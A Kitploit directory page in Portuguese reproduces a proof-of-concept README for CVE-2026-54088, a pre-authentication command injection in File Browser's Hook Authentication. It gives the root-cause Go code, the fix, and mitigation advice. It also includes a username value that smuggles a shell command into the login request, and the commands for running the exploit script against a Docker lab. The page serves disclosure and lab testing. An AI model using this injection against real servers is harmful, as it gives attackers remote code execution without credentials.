Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-54088-poc — Exploit de prova de conceito para CVE-2026-54088, uma injeção de comando no sistema operacional pré-autenticação no File Browser <=2.63.5. Demonstra injeção de shell via Hook Authentication para alcançar execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/saku0512/cve-2026-54088-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

Exploit de prova de conceito para CVE-2026-54088, uma injeção de comando no sistema operacional pré-autenticação no File Browser <=2.63.5. Demonstra injeção de shell via Hook Authentication para alcançar execução remota de código.

Ver Repositório
13há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-54088: Injeção de Comando por Substituição de Shell no Hook de Autenticação (RCE Pré-autenticação)

English version

Resumo

Este repositório é uma Prova de Conceito (PoC) para a vulnerabilidade crítica de injeção de comandos do sistema operacional CVE-2026-54088, presente no File Browser versão <= 2.63.5.

Esta vulnerabilidade existe na funcionalidade Hook Authentication. Se o administrador configurar o File Browser para autenticar usuários por meio de um comando externo, os campos username e password enviados no login são expandidos na string de comando configurada via os.Expand() sem escapamento. Um atacante remoto não autenticado pode injetar sintaxe de shell através da requisição de login e executar comandos arbitrários antes mesmo que a autenticação seja bem-sucedida.

Descoberto por: saku0512 (https://github.com/Saku0512)


Aviso de Isenção de Responsabilidade

Este projeto destina-se exclusivamente a fins educacionais e testes de segurança ética.

O autor não se responsabiliza por uso indevido, danos ou atividades ilegais decorrentes do uso desta ferramenta. O acesso não autorizado a sistemas de computador é ilegal. Utilize este software apenas em ambientes para os quais você tenha permissão explícita.


Detalhes da Vulnerabilidade

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • Tipo: Injeção de comando do SO (CWE-78)
  • Impacto: Execução remota de código (RCE) antes da autenticação
  • Versões afetadas: File Browser <= 2.63.5
  • Versão corrigida: File Browser 2.63.6
  • Arquivo afetado: auth/hook.go
  • Função afetada: HookAuth.RunCommand

Causa Raiz

HookAuth.RunCommand() divide o comando de autenticação configurado e expande os placeholders das credenciais usando dados da requisição controlados pelo atacante.

root@kitploit:~
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

Se o comando hook estiver configurado como:

root@kitploit:~
sh -c $USERNAME

E um atacante enviar um username como:

root@kitploit:~
touch /tmp/fb_hook_auth_pwned; echo hook.action=block

Durante a tentativa de login, o servidor executará o script de shell controlado pelo atacante. Nenhuma conta ou senha válida é necessária.

Correção

O problema foi corrigido no commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f, removendo a substituição das credenciais na string de comando do hook. O comando hook é executado como configurado, e as credenciais são passadas apenas como variáveis de ambiente.

root@kitploit:~
command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

O loop os.Expand() vulnerável, que reescrevia os argumentos do comando com as credenciais controladas pelo atacante antes da chamada exec.Command(), foi removido. A correção também adiciona testes de regressão para garantir que as credenciais injetadas não possam modificar o comando hook e que USERNAME / PASSWORD continuem disponíveis para o hook via variáveis de ambiente.


Prova de Conceito (Uso)

1. Configuração do Ambiente

Inicie um ambiente File Browser vulnerável. O serviço filebrowser-init cria o banco de dados e ativa o Hook Authentication com um comando vulnerável.

root@kitploit:~
docker compose up -d

O alvo estará disponível em:

root@kitploit:~
http://localhost:8080

2. Execução do Exploit

Execute o script de exploit a partir deste diretório.

root@kitploit:~
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

Este exploit envia uma única requisição de login não autenticada para /api/login. Espera-se que a autenticação falhe, mas o comando injetado será executado antes disso.

3. Verificação via GUI

Abra a tela de login do File Browser no navegador.

root@kitploit:~
http://localhost:8080

No formulário de login, insira os seguintes valores e clique no botão de login.

root@kitploit:~
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

O login falhará, mas a execução do comando do Hook Authentication ocorre antes do retorno do resultado da autenticação. Verifique se o arquivo marcador foi criado no container através da operação GUI com o comando:

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

Se o arquivo existir, confirma-se que o RCE pré-autenticação também ocorre a partir da operação de login pela GUI.

4. Verificação do PoC via CLI

Confirme que o comando foi executado dentro do container File Browser.

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

Se o arquivo existir, o RCE pré-autenticação está confirmado.

5. Limpeza

root@kitploit:~
docker compose down -v

Mitigação

Atualize o File Browser para a versão 2.63.6 ou superior.

As credenciais não devem ser embutidas na string de comando do shell; devem ser passadas ao comando hook apenas como variáveis de ambiente. Em outros caminhos de execução de comandos, evite avaliação por shell ou realize separação estrita de argumentos e escapamento.


Referências

  • Repositório GitHub do File Browser
  • Implementação vulnerável do File Browser v2.63.5
  • Commit de correção: remove hook auth não documentado com substituição por shell
Baixar ferramenta